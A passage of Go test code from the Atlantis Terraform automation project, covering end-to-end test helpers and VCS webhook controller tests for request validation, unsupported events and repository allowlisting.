events.NewApprovePoliciesCommandRunner(\n\t\te2eStatusUpdater,\n\t\tprojectCommandBuilder,\n\t\tprojectCommandRunner,\n\t\tpullUpdater,\n\t\tdbUpdater,\n\t\tsilenceNoProjects,\n\t\tfalse,\n\t\te2eVCSClient,\n\t)\n\n\tunlockCommandRunner := events.NewUnlockCommandRunner(\n\t\tmocks.NewMockDeleteLockCommand(),\n\t\te2eVCSClient,\n\t\tsilenceNoProjects,\n\t\tdisableUnlockLabel,\n\t)\n\n\tversionCommandRunner := events.NewVersionCommandRunner(\n\t\tpullUpdater,\n\t\tprojectCommandBuilder,\n\t\tprojectCommandRunner,\n\t\tparallelPoolSize,\n\t\tsilenceNoProjects,\n\t)\n\n\timportCommandRunner := events.NewImportCommandRunner(\n\t\tpullUpdater,\n\t\te2ePullReqStatusFetcher,\n\t\tprojectCommandBuilder,\n\t\tprojectCommandRunner,\n\t\tsilenceNoProjects,\n\t)\n\n\tstateCommandRunner := events.NewStateCommandRunner(\n\t\tpullUpdater,\n\t\tprojectCommandBuilder,\n\t\tprojectCommandRunner,\n\t)\n\n\tcommentCommandRunnerByCmd := map[command.Name]events.CommentCommandRunner{\n\t\tcommand.Plan:            planCommandRunner,\n\t\tcommand.Apply:           applyCommandRunner,\n\t\tcommand.ApprovePolicies: approvePoliciesCommandRunner,\n\t\tcommand.Unlock:          unlockCommandRunner,\n\t\tcommand.Version:         versionCommandRunner,\n\t\tcommand.Import:          importCommandRunner,\n\t\tcommand.State:           stateCommandRunner,\n\t}\n\n\tcommandRunner := &events.DefaultCommandRunner{\n\t\tEventParser:                    eventParser,\n\t\tVCSClient:                      e2eVCSClient,\n\t\tGithubPullGetter:               e2eGithubGetter,\n\t\tGitlabMergeRequestGetter:       e2eGitlabGetter,\n\t\tLogger:                         logger,\n\t\tGlobalCfg:                      globalCfg,\n\t\tStatsScope:                     statsScope,\n\t\tAllowForkPRs:                   allowForkPRs,\n\t\tAllowForkPRsFlag:               \"allow-fork-prs\",\n\t\tCommentCommandRunnerByCmd:      commentCommandRunnerByCmd,\n\t\tDrainer:                        drainer,\n\t\tPreWorkflowHooksCommandRunner:  preWorkflowHooksCommandRunner,\n\t\tPostWorkflowHooksCommandRunner: postWorkflowHooksCommandRunner,\n\t\tPullStatusFetcher:              database,\n\t\tDisableAutoplan:                opt.disableAutoplan,\n\t\tCommitStatusUpdater:            commitStatusUpdater,\n\t}\n\n\trepoAllowlistChecker, err := events.NewRepoAllowlistChecker(\"*\")\n\tOk(t, err)\n\n\tctrl := events_controllers.VCSEventsController{\n\t\tTestingMode:   true,\n\t\tCommandRunner: commandRunner,\n\t\tPullCleaner: &events.PullClosedExecutor{\n\t\t\tLocker:                   lockingClient,\n\t\t\tVCSClient:                e2eVCSClient,\n\t\t\tWorkingDir:               workingDir,\n\t\t\tDatabase:                 database,\n\t\t\tPullClosedTemplate:       &events.PullClosedEventTemplate{},\n\t\t\tLogStreamResourceCleaner: projectCmdOutputHandler,\n\t\t},\n\t\tLogger:                       logger,\n\t\tScope:                        statsScope,\n\t\tParser:                       eventParser,\n\t\tCommentParser:                commentParser,\n\t\tGithubWebhookSecret:          nil,\n\t\tGithubRequestValidator:       &events_controllers.DefaultGithubRequestValidator{},\n\t\tGitlabRequestParserValidator: &events_controllers.DefaultGitlabRequestParserValidator{},\n\t\tGitlabWebhookSecret:          nil,\n\t\tRepoAllowlistChecker:         repoAllowlistChecker,\n\t\tSupportedVCSHosts:            []models.VCSHostType{models.Gitlab, models.Github, models.BitbucketCloud},\n\t\tVCSClient:                    e2eVCSClient,\n\t}\n\treturn ctrl, e2eVCSClient, e2eGithubGetter, workingDir\n}\n\ntype mockLockURLGenerator struct{}\n\nfunc (m *mockLockURLGenerator) GenerateLockURL(_ string) string {\n\treturn \"lock-url\"\n}\n\ntype mockWebhookSender struct{}\n\nfunc (w *mockWebhookSender) Send(_ logging.SimpleLogging, _ webhooks.ApplyResult) error {\n\treturn nil\n}\n\nfunc GitHubCommentEvent(t *testing.T, comment string) *http.Request {\n\trequestJSON, err := os.ReadFile(filepath.Join(\"testdata\", \"githubIssueCommentEvent.json\"))\n\tOk(t, err)\n\tescapedComment, err := json.Marshal(comment)\n\tOk(t, err)\n\trequestJSON = []byte(strings.Replace(string(requestJSON), \"\\\"###comment body###\\\"\", string(escapedComment), 1))\n\treq, err := http.NewRequest(\"POST\", \"/events\", bytes.NewBuffer(requestJSON))\n\tOk(t, err)\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\treq.Header.Set(githubHeader, \"issue_comment\")\n\treturn req\n}\n\nfunc GitHubPullRequestOpenedEvent(t *testing.T, headSHA string) *http.Request {\n\trequestJSON, err := os.ReadFile(filepath.Join(\"testdata\", \"githubPullRequestOpenedEvent.json\"))\n\tOk(t, err)\n\t// Replace sha with expected sha.\n\trequestJSONStr := strings.ReplaceAll(string(requestJSON), \"c31fd9ea6f557ad2ea659944c3844a059b83bc5d\", headSHA)\n\treq, err := http.NewRequest(\"POST\", \"/events\", bytes.NewBuffer([]byte(requestJSONStr)))\n\tOk(t, err)\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\treq.Header.Set(githubHeader, \"pull_request\")\n\treturn req\n}\n\nfunc GitHubPullRequestClosedEvent(t *testing.T) *http.Request {\n\trequestJSON, err := os.ReadFile(filepath.Join(\"testdata\", \"githubPullRequestClosedEvent.json\"))\n\tOk(t, err)\n\treq, err := http.NewRequest(\"POST\", \"/events\", bytes.NewBuffer(requestJSON))\n\tOk(t, err)\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\treq.Header.Set(githubHeader, \"pull_request\")\n\treturn req\n}\n\nfunc GitHubPullRequestParsed(headSHA string) *github.PullRequest {\n\t// headSHA can't be empty so default if not set.\n\tif headSHA == \"\" {\n\t\theadSHA = \"13940d121be73f656e2132c6d7b4c8e87878ac8d\"\n\t}\n\treturn &github.PullRequest{\n\t\tNumber:  github.Ptr(2),\n\t\tState:   github.Ptr(\"open\"),\n\t\tHTMLURL: github.Ptr(\"htmlurl\"),\n\t\tHead: &github.PullRequestBranch{\n\t\t\tRepo: &github.Repository{\n\t\t\t\tFullName: github.Ptr(\"runatlantis/atlantis-tests\"),\n\t\t\t\tCloneURL: github.Ptr(\"https://github.com/runatlantis/atlantis-tests.git\"),\n\t\t\t},\n\t\t\tSHA: github.Ptr(headSHA),\n\t\t\tRef: github.Ptr(\"branch\"),\n\t\t},\n\t\tBase: &github.PullRequestBranch{\n\t\t\tRepo: &github.Repository{\n\t\t\t\tFullName: github.Ptr(\"runatlantis/atlantis-tests\"),\n\t\t\t\tCloneURL: github.Ptr(\"https://github.com/runatlantis/atlantis-tests.git\"),\n\t\t\t},\n\t\t\tRef: github.Ptr(\"main\"),\n\t\t},\n\t\tUser: &github.User{\n\t\t\tLogin: github.Ptr(\"atlantisbot\"),\n\t\t},\n\t}\n}\n\n// absRepoPath returns the absolute path to the test repo under dir repoDir.\nfunc absRepoPath(t *testing.T, repoDir string) string {\n\tpath, err := filepath.Abs(filepath.Join(\"testdata\", \"test-repos\", repoDir))\n\tOk(t, err)\n\treturn path\n}\n\n// initializeRepo copies the repo data from testdata and initializes a new\n// git repo in a temp directory. It returns that directory and a function\n// to run in a defer that will delete the dir.\n// The purpose of this function is to create a real git repository with a branch\n// called 'branch' from the files under repoDir. This is so we can check in\n// those files normally to this repo without needing a .git directory.\nfunc initializeRepo(t *testing.T, repoDir string) (string, string) {\n\toriginRepo := absRepoPath(t, repoDir)\n\n\t// Copy the files to the temp dir.\n\tdestDir := t.TempDir()\n\trunCmd(t, \"\", \"cp\", \"-r\", fmt.Sprintf(\"%s/.\", originRepo), destDir)\n\n\t// Initialize the git repo.\n\trunCmd(t, destDir, \"git\", \"init\")\n\trunCmd(t, destDir, \"touch\", \".gitkeep\")\n\trunCmd(t, destDir, \"git\", \"add\", \".gitkeep\")\n\trunCmd(t, destDir, \"git\", \"config\", \"--local\", \"user.email\", \"atlantisbot@runatlantis.io\")\n\trunCmd(t, destDir, \"git\", \"config\", \"--local\", \"user.name\", \"atlantisbot\")\n\trunCmd(t, destDir, \"git\", \"commit\", \"-m\", \"initial commit\")\n\trunCmd(t, destDir, \"git\", \"checkout\", \"-b\", \"branch\")\n\trunCmd(t, destDir, \"git\", \"add\", \".\")\n\trunCmd(t, destDir, \"git\", \"commit\", \"-am\", \"branch commit\")\n\theadSHA := runCmd(t, destDir, \"git\", \"rev-parse\", \"HEAD\")\n\theadSHA = strings.Trim(headSHA, \"\\n\")\n\n\treturn destDir, headSHA\n}\n\nfunc runCmd(t *testing.T, dir string, name string, args ...string) string {\n\tcpCmd := exec.Command(name, args...)\n\tcpCmd.Dir = dir\n\tcpOut, err := cpCmd.CombinedOutput()\n\tAssert(t, err == nil, \"err running %q: %s\", strings.Join(append([]string{name}, args...), \" \"), cpOut)\n\treturn string(cpOut)\n}\n\nfunc assertCommentEquals(t *testing.T, expReplies []string, act string, repoDir string, parallel bool) {\n\tt.Helper()\n\n\t// Replace all 'Creation complete after 0s [id=2135833172528078362]' strings with\n\t// 'Creation complete after *s [id=*******************]' so we can do a comparison.\n\tidRegex := regexp.MustCompile(`Creation complete after [0-9]+s \\[id=[0-9]+]`)\n\tact = idRegex.ReplaceAllString(act, \"Creation complete after *s [id=*******************]\")\n\n\t// Replace all null_resource.simple{n}: .* with null_resource.simple: because\n\t// with multiple resources being created the logs are all out of order which\n\t// makes comparison impossible.\n\tresourceRegex := regexp.MustCompile(`null_resource\\.simple(\\[\\d])?\\d?:.*`)\n\tact = resourceRegex.ReplaceAllString(act, \"null_resource.simple:\")\n\n\t// For parallel plans and applies, do a substring match since output may be out of order\n\tvar replyMatchesExpected func(string, string) bool\n\tif parallel {\n\t\treplyMatchesExpected = func(act string, expStr string) bool {\n\t\t\treturn strings.Contains(act, expStr)\n\t\t}\n\t} else {\n\t\treplyMatchesExpected = func(act string, expStr string) bool {\n\t\t\treturn expStr == act\n\t\t}\n\t}\n\n\tfor _, expFile := range expReplies {\n\t\texp, err := os.ReadFile(filepath.Join(absRepoPath(t, repoDir), expFile))\n\t\tOk(t, err)\n\t\texpStr := string(exp)\n\t\t// My editor adds a newline to all the files, so if the actual comment\n\t\t// doesn't end with a newline then strip the last newline from the file's\n\t\t// contents.\n\t\tif !strings.HasSuffix(act, \"\\n\") {\n\t\t\texpStr = strings.TrimSuffix(expStr, \"\\n\")\n\t\t}\n\n\t\tif !replyMatchesExpected(act, expStr) {\n\t\t\t// If in CI, we write the diff to the console. Otherwise we write the diff\n\t\t\t// to file so we can use our local diff viewer.\n\t\t\tif os.Getenv(\"CI\") == \"true\" {\n\t\t\t\tt.Logf(\"exp: %s, got: %s\", expStr, act)\n\t\t\t\tt.FailNow()\n\t\t\t} else {\n\t\t\t\tactFile := filepath.Join(absRepoPath(t, repoDir), expFile+\".act\")\n\t\t\t\terr := os.WriteFile(actFile, []byte(act), 0600)\n\t\t\t\tOk(t, err)\n\t\t\t\tcwd, err := os.Getwd()\n\t\t\t\tOk(t, err)\n\t\t\t\trel, err := filepath.Rel(cwd, actFile)\n\t\t\t\tOk(t, err)\n\t\t\t\tt.Errorf(\"%q was different, wrote actual comment to %q\", expFile, rel)\n\t\t\t}\n\t\t}\n\t}\n}\n\n// returns parent, bindir, cachedir, cleanup func\nfunc mkSubDirs(t *testing.T) (string, string, string) {\n\ttmp := t.TempDir()\n\tbinDir := filepath.Join(tmp, \"bin\")\n\terr := os.MkdirAll(binDir, 0700)\n\tOk(t, err)\n\n\tcachedir := filepath.Join(tmp, \"plugin-cache\")\n\terr = os.MkdirAll(cachedir, 0700)\n\tOk(t, err)\n\n\treturn tmp, binDir, cachedir\n}\n\n// Will fail test if conftest isn't in path\nfunc ensureRunningConftest(t *testing.T) {\n\t// use `conftest` command instead `conftest$version`, so tests may fail on the environment cause the output logs may become change by version.\n\tt.Logf(\"conftest check may fail depends on conftest version. please use latest stable conftest.\")\n\t_, err := exec.LookPath(conftestCommand)\n\tif err != nil {\n\t\tt.Logf(`%s must be installed to run this test\n- on local, please install conftest command or run 'make docker/test-all'\n- on CI, please check testing-env docker image contains conftest command. see testing/Dockerfile\n`, conftestCommand)\n\t\tt.FailNow()\n\t}\n}\n\n// Will fail test if terraform isn't in path and isn't version >= 0.14\nfunc ensureRunning014(t *testing.T) {\n\tlocalPath, err := exec.LookPath(\"terraform\")\n\tif err != nil {\n\t\tt.Log(\"terraform >= 0.14 must be installed to run this test\")\n\t\tt.FailNow()\n\t}\n\tversionOutBytes, err := exec.Command(localPath, \"version\").Output() // #nosec\n\tif err != nil {\n\t\tt.Logf(\"error running terraform version: %s\", err)\n\t\tt.FailNow()\n\t}\n\tversionOutput := string(versionOutBytes)\n\tmatch := versionRegex.FindStringSubmatch(versionOutput)\n\tif len(match) <= 1 {\n\t\tt.Logf(\"could not parse terraform version from %s\", versionOutput)\n\t\tt.FailNow()\n\t}\n\tlocalVersion, err := version.NewVersion(match[1])\n\tOk(t, err)\n\tminVersion, err := version.NewVersion(\"0.14.0\")\n\tOk(t, err)\n\tif localVersion.LessThan(minVersion) {\n\t\tt.Logf(\"must have terraform version >= %s, you have %s\", minVersion, localVersion)\n\t\tt.FailNow()\n\t}\n}\n\n// versionRegex extracts the version from `terraform version` output.\n//\n//\t    Terraform v0.12.0-alpha4 (2c36829d3265661d8edbd5014de8090ea7e2a076)\n//\t\t   => 0.12.0-alpha4\n//\n//\t    Terraform v0.11.10\n//\t\t   => 0.11.10\n//\n//\t    OpenTofu v1.0.0\n//\t\t   => 1.0.0\nvar versionRegex = regexp.MustCompile(\"(?:Terraform|OpenTofu) v(.*?)(\\\\s.*)?\\n\")\n"
  },
  {
    "path": "server/controllers/events/events_controller_test.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage events_test\n\nimport (\n\t\"bytes\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/drmaxgit/go-azuredevops/azuredevops\"\n\t\"github.com/google/go-github/v83/github\"\n\t. \"github.com/petergtz/pegomock/v4\"\n\tevents_controllers \"github.com/runatlantis/atlantis/server/controllers/events\"\n\t\"github.com/runatlantis/atlantis/server/controllers/events/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\temocks \"github.com/runatlantis/atlantis/server/events/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\tvcsmocks \"github.com/runatlantis/atlantis/server/events/vcs/mocks\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t\"github.com/runatlantis/atlantis/server/metrics/metricstest\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n\tgitlab \"gitlab.com/gitlab-org/api/client-go\"\n)\n\nconst githubHeader = \"X-Github-Event\"\nconst giteaHeader = \"X-Gitea-Event\"\nconst gitlabHeader = \"X-Gitlab-Event\"\nconst azuredevopsHeader = \"Request-Id\"\n\nvar user = []byte(\"user\")\nvar secret = []byte(\"secret\")\n\nfunc TestPost_NotGithubOrGitlab(t *testing.T) {\n\tt.Log(\"when the request is not for gitlab or github a 400 is returned\")\n\te, _, _, _, _, _, _, _, _ := setup(t)\n\tw := httptest.NewRecorder()\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\te.Post(w, req)\n\tResponseContains(t, w, http.StatusBadRequest, \"Ignoring request\")\n}\n\nfunc TestPost_UnsupportedVCSGithub(t *testing.T) {\n\tt.Log(\"when the request is for an unsupported vcs a 400 is returned\")\n\te, _, _, _, _, _, _, _, _ := setup(t)\n\te.SupportedVCSHosts = nil\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq.Header.Set(githubHeader, \"value\")\n\tw := httptest.NewRecorder()\n\te.Post(w, req)\n\tResponseContains(t, w, http.StatusBadRequest, \"Ignoring request since not configured to support GitHub\")\n}\n\nfunc TestPost_UnsupportedVCSGitea(t *testing.T) {\n\tt.Log(\"when the request is for an unsupported vcs a 400 is returned\")\n\te, _, _, _, _, _, _, _, _ := setup(t)\n\te.SupportedVCSHosts = nil\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq.Header.Set(giteaHeader, \"value\")\n\tw := httptest.NewRecorder()\n\te.Post(w, req)\n\tResponseContains(t, w, http.StatusBadRequest, \"Ignoring request since not configured to support Gitea\")\n}\n\nfunc TestPost_UnsupportedVCSGitlab(t *testing.T) {\n\tt.Log(\"when the request is for an unsupported vcs a 400 is returned\")\n\te, _, _, _, _, _, _, _, _ := setup(t)\n\te.SupportedVCSHosts = nil\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq.Header.Set(gitlabHeader, \"value\")\n\tw := httptest.NewRecorder()\n\te.Post(w, req)\n\tResponseContains(t, w, http.StatusBadRequest, \"Ignoring request since not configured to support GitLab\")\n}\n\nfunc TestPost_InvalidGithubSecret(t *testing.T) {\n\tt.Log(\"when the github payload can't be validated a 400 is returned\")\n\te, v, _, _, _, _, _, _, _ := setup(t)\n\tw := httptest.NewRecorder()\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq.Header.Set(githubHeader, \"value\")\n\tWhen(v.Validate(req, secret)).ThenReturn(nil, errors.New(\"err\"))\n\te.Post(w, req)\n\tResponseContains(t, w, http.StatusBadRequest, \"err\")\n}\n\nfunc TestPost_InvalidGiteaSecret(t *testing.T) {\n\tt.Log(\"when the gitea payload can't be validated a 400 is returned\")\n\te, v, _, _, _, _, _, _, _ := setup(t)\n\tw := httptest.NewRecorder()\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq.Header.Set(giteaHeader, \"value\")\n\tWhen(v.Validate(req, secret)).ThenReturn(nil, errors.New(\"err\"))\n\te.Post(w, req)\n\tResponseContains(t, w, http.StatusBadRequest, \"request did not pass validation\")\n}\n\nfunc TestPost_InvalidGitlabSecret(t *testing.T) {\n\tt.Log(\"when the gitlab payload can't be validated a 400 is returned\")\n\te, _, gl, _, _, _, _, _, _ := setup(t)\n\tw := httptest.NewRecorder()\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq.Header.Set(gitlabHeader, \"value\")\n\tWhen(gl.ParseAndValidate(req, secret)).ThenReturn(nil, errors.New(\"err\"))\n\te.Post(w, req)\n\tResponseContains(t, w, http.StatusBadRequest, \"err\")\n}\n\nfunc TestPost_UnsupportedGithubEvent(t *testing.T) {\n\tt.Log(\"when the event type is an unsupported github event we ignore it\")\n\te, v, _, _, _, _, _, _, _ := setup(t)\n\tw := httptest.NewRecorder()\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq.Header.Set(githubHeader, \"value\")\n\tWhen(v.Validate(req, nil)).ThenReturn([]byte(`{\"not an event\": \"\"}`), nil)\n\te.Post(w, req)\n\tResponseContains(t, w, http.StatusOK, \"Ignoring unsupported event\")\n}\n\nfunc TestPost_UnsupportedGiteaEvent(t *testing.T) {\n\tt.Log(\"when the event type is an unsupported gitea event we ignore it\")\n\te, v, _, _, _, _, _, _, _ := setup(t)\n\tw := httptest.NewRecorder()\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq.Header.Set(giteaHeader, \"value\")\n\te.GiteaWebhookSecret = nil\n\tWhen(v.Validate(req, nil)).ThenReturn([]byte(`{\"not an event\": \"\"}`), nil)\n\te.Post(w, req)\n\tResponseContains(t, w, http.StatusOK, \"Ignoring unsupported Gitea event\")\n}\n\nfunc TestPost_UnsupportedGitlabEvent(t *testing.T) {\n\tt.Log(\"when the event type is an unsupported gitlab event we ignore it\")\n\te, _, gl, _, _, _, _, _, _ := setup(t)\n\tw := httptest.NewRecorder()\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq.Header.Set(gitlabHeader, \"value\")\n\tWhen(gl.ParseAndValidate(req, secret)).ThenReturn([]byte(`{\"not an event\": \"\"}`), nil)\n\te.Post(w, req)\n\tResponseContains(t, w, http.StatusOK, \"Ignoring unsupported event\")\n}\n\n// Test that if the comment comes from a commit rather than a merge request,\n// we give an error and ignore it.\nfunc TestPost_GitlabCommentOnCommit(t *testing.T) {\n\te, _, gl, _, _, _, _, _, _ := setup(t)\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\tw := httptest.NewRecorder()\n\treq.Header.Set(gitlabHeader, \"value\")\n\tWhen(gl.ParseAndValidate(req, secret)).ThenReturn(gitlab.CommitCommentEvent{}, nil)\n\te.Post(w, req)\n\tResponseContains(t, w, http.StatusOK, \"Ignoring comment on commit event\")\n}\n\nfunc TestPost_GithubCommentNotCreated(t *testing.T) {\n\tt.Log(\"when the event is a github comment but it's not a created event we ignore it\")\n\te, v, _, _, _, _, _, _, _ := setup(t)\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq.Header.Set(githubHeader, \"issue_comment\")\n\t// comment action is deleted, not created\n\tevent := `{\"action\": \"deleted\"}`\n\tWhen(v.Validate(req, secret)).ThenReturn([]byte(event), nil)\n\tw := httptest.NewRecorder()\n\te.Post(w, req)\n\tResponseContains(t, w, http.StatusOK, \"Ignoring comment event since action was not created\")\n}\n\nfunc TestPost_GithubInvalidComment(t *testing.T) {\n\tt.Log(\"when the event is a github comment without all expected data we return a 400\")\n\te, v, _, _, p, _, _, _, _ := setup(t)\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq.Header.Set(githubHeader, \"issue_comment\")\n\tevent := `{\"action\": \"created\"}`\n\tWhen(v.Validate(req, secret)).ThenReturn([]byte(event), nil)\n\tWhen(p.ParseGithubIssueCommentEvent(Any[logging.SimpleLogging](), Any[*github.IssueCommentEvent]())).ThenReturn(models.Repo{}, models.User{}, 1, errors.New(\"err\"))\n\tw := httptest.NewRecorder()\n\te.Post(w, req)\n\tResponseContains(t, w, http.StatusBadRequest, \"parsing event\")\n}\n\nfunc TestPost_GitlabCommentInvalidCommand(t *testing.T) {\n\tt.Log(\"when the event is a gitlab comment with an invalid command we ignore it\")\n\te, _, gl, _, _, _, _, _, cp := setup(t)\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq.Header.Set(gitlabHeader, \"value\")\n\tWhen(gl.ParseAndValidate(req, secret)).ThenReturn(gitlab.MergeCommentEvent{}, nil)\n\tWhen(cp.Parse(\"\", models.Gitlab)).ThenReturn(events.CommentParseResult{Ignore: true})\n\tw := httptest.NewRecorder()\n\te.Post(w, req)\n\tResponseContains(t, w, http.StatusOK, \"Ignoring non-command comment: \\\"\\\"\")\n}\n\nfunc TestPost_GithubCommentInvalidCommand(t *testing.T) {\n\tt.Log(\"when the event is a github comment with an invalid command we ignore it\")\n\te, v, _, _, p, _, _, vcsClient, cp := setup(t)\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq.Header.Set(githubHeader, \"issue_comment\")\n\tevent := `{\"action\": \"created\"}`\n\tWhen(v.Validate(req, secret)).ThenReturn([]byte(event), nil)\n\tWhen(p.ParseGithubIssueCommentEvent(Any[logging.SimpleLogging](), Any[*github.IssueCommentEvent]())).ThenReturn(models.Repo{}, models.User{}, 1, nil)\n\tWhen(cp.Parse(\"\", models.Github)).ThenReturn(events.CommentParseResult{Ignore: true})\n\tw := httptest.NewRecorder()\n\te.Post(w, req)\n\tResponseContains(t, w, http.StatusOK, \"Ignoring non-command comment: \\\"\\\"\")\n\tvcsClient.VerifyWasCalled(Never()).ReactToComment(Any[logging.SimpleLogging](), Eq(models.Repo{}), Eq(1), Eq(int64(1)), Eq(\"eyes\"))\n}\n\nfunc TestPost_GitlabCommentNotAllowlisted(t *testing.T) {\n\tt.Log(\"when the event is a gitlab comment from a repo that isn't allowlisted we comment with an error\")\n\tRegisterMockTestingT(t)\n\tvcsClient := vcsmocks.NewMockClient()\n\tlogger := logging.NewNoopLogger(t)\n\tscope := metricstest.NewLoggingScope(t, logger, \"null\")\n\te := events_controllers.VCSEventsController{\n\t\tLogger:                       logger,\n\t\tScope:                        scope,\n\t\tCommentParser:                &events.CommentParser{ExecutableName: \"atlantis\"},\n\t\tGitlabRequestParserValidator: &events_controllers.DefaultGitlabRequestParserValidator{},\n\t\tParser:                       &events.EventParser{},\n\t\tSupportedVCSHosts:            []models.VCSHostType{models.Gitlab},\n\t\tRepoAllowlistChecker:         &events.RepoAllowlistChecker{},\n\t\tVCSClient:                    vcsClient,\n\t}\n\trequestJSON, err := os.ReadFile(filepath.Join(\"testdata\", \"gitlabMergeCommentEvent_notAllowlisted.json\"))\n\tOk(t, err)\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(requestJSON))\n\treq.Header.Set(gitlabHeader, \"Note Hook\")\n\tw := httptest.NewRecorder()\n\te.Post(w, req)\n\n\tresp := w.Result()\n\tdefer resp.Body.Close()\n\tEquals(t, http.StatusForbidden, resp.StatusCode)\n\tbody, _ := io.ReadAll(resp.Body)\n\texp := \"repo not allowlisted\"\n\tAssert(t, strings.Contains(string(body), exp), \"exp %q to be contained in %q\", exp, string(body))\n\texpRepo, _ := models.NewRepo(models.Gitlab, \"gitlabhq/gitlab-test\", \"https://example.com/gitlabhq/gitlab-test.git\", \"\", \"\")\n\tvcsClient.VerifyWasCalledOnce().CreateComment(\n\t\tAny[logging.SimpleLogging](), Eq(expRepo), Eq(1), Eq(\"```\\nError: This repo is not allowlisted for Atlantis.\\n```\"), Eq(\"\"))\n}\n\nfunc TestPost_GitlabCommentNotAllowlistedWithSilenceErrors(t *testing.T) {\n\tt.Log(\"when the event is a gitlab comment from a repo that isn't allowlisted and we are silencing errors, do not comment with an error\")\n\tRegisterMockTestingT(t)\n\tvcsClient := vcsmocks.NewMockClient()\n\tlogger := logging.NewNoopLogger(t)\n\tscope := metricstest.NewLoggingScope(t, logger, \"null\")\n\te := events_controllers.VCSEventsController{\n\t\tLogger:                       logger,\n\t\tScope:                        scope,\n\t\tCommentParser:                &events.CommentParser{ExecutableName: \"atlantis\"},\n\t\tGitlabRequestParserValidator: &events_controllers.DefaultGitlabRequestParserValidator{},\n\t\tParser:                       &events.EventParser{},\n\t\tSupportedVCSHosts:            []models.VCSHostType{models.Gitlab},\n\t\tRepoAllowlistChecker:         &events.RepoAllowlistChecker{},\n\t\tVCSClient:                    vcsClient,\n\t\tSilenceAllowlistErrors:       true,\n\t}\n\trequestJSON, err := os.ReadFile(filepath.Join(\"testdata\", \"gitlabMergeCommentEvent_notAllowlisted.json\"))\n\tOk(t, err)\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(requestJSON))\n\treq.Header.Set(gitlabHeader, \"Note Hook\")\n\tw := httptest.NewRecorder()\n\te.Post(w, req)\n\n\tresp := w.Result()\n\tdefer resp.Body.Close()\n\tEquals(t, http.StatusForbidden, resp.StatusCode)\n\tbody, _ := io.ReadAll(resp.Body)\n\texp := \"repo not allowlisted\"\n\tAssert(t, strings.Contains(string(body), exp), \"exp %q to be contained in %q\", exp, string(body))\n\tvcsClient.VerifyWasCalled(Never()).CreateComment(Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]())\n\n}\n\nfunc TestPost_GithubCommentNotAllowlisted(t *testing.T) {\n\tt.Log(\"when the event is a github comment from a repo that isn't allowlisted we comment with an error\")\n\tRegisterMockTestingT(t)\n\tvcsClient := vcsmocks.NewMockClient()\n\tlogger := logging.NewNoopLogger(t)\n\tscope := metricstest.NewLoggingScope(t, logger, \"null\")\n\te := events_controllers.VCSEventsController{\n\t\tLogger:                 logger,\n\t\tScope:                  scope,\n\t\tGithubRequestValidator: &events_controllers.DefaultGithubRequestValidator{},\n\t\tCommentParser:          &events.CommentParser{ExecutableName: \"atlantis\"},\n\t\tParser:                 &events.EventParser{},\n\t\tSupportedVCSHosts:      []models.VCSHostType{models.Github},\n\t\tRepoAllowlistChecker:   &events.RepoAllowlistChecker{},\n\t\tVCSClient:              vcsClient,\n\t}\n\trequestJSON, err := os.ReadFile(filepath.Join(\"testdata\", \"githubIssueCommentEvent_notAllowlisted.json\"))\n\tOk(t, err)\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(requestJSON))\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\treq.Header.Set(githubHeader, \"issue_comment\")\n\tw := httptest.NewRecorder()\n\te.Post(w, req)\n\n\tresp := w.Result()\n\tdefer resp.Body.Close()\n\tEquals(t, http.StatusForbidden, resp.StatusCode)\n\tbody, _ := io.ReadAll(resp.Body)\n\texp := \"repo not allowlisted\"\n\tAssert(t, strings.Contains(string(body), exp), \"exp %q to be contained in %q\", exp, string(body))\n\texpRepo, _ := models.NewRepo(models.Github, \"baxterthehacker/public-repo\", \"https://github.com/baxterthehacker/public-repo.git\", \"\", \"\")\n\tvcsClient.VerifyWasCalledOnce().CreateComment(\n\t\tAny[logging.SimpleLogging](), Eq(expRepo), Eq(2), Eq(\"```\\nError: This repo is not allowlisted 